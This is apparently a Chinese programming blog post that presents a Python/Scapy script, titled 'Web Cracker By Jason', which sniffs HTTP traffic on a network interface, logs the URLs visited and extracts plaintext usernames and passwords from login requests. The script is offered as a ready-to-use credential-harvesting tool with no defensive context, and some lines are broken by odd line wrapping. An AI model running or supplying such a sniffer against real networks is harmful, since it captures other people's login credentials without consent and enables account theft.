1. 程式人生 > 其它 >利用Python提取網站登入的使用者名稱與密碼

利用Python提取網站登入的使用者名稱與密碼

from scapy.all import *
from scapy.layers import http
import re
import termcolor


def packet_handler(pkt):
    if pkt.haslayer(http.HTTPRequest):
        url = pkt[http.HTTPRequest].Host + pkt[http.HTTPRequest].Path
        print("Capturing Accessed URL:  %s\n" % url.decode('utf-8'))

        if pkt.haslayer(Raw):
            load 
= pkt[Raw].load.decode('utf-8') res1 = re.search(r'username=(.*?)&',load) if res1: username = res1.group(1) print(termcolor.colored("Found Username: %s" % username, 'blue')) res2 = re.search(r'password=(.*?)&', load)
if res2: password = res2.group(1) print(termcolor.colored("Found Password: %s" % password,'blue')) def main(): sniff(iface='eth0', store=False, prn=packet_handler) if __name__ == "__main__": banner = """ **************************** Web Cracker By Jason ****************************
""" print(banner) main()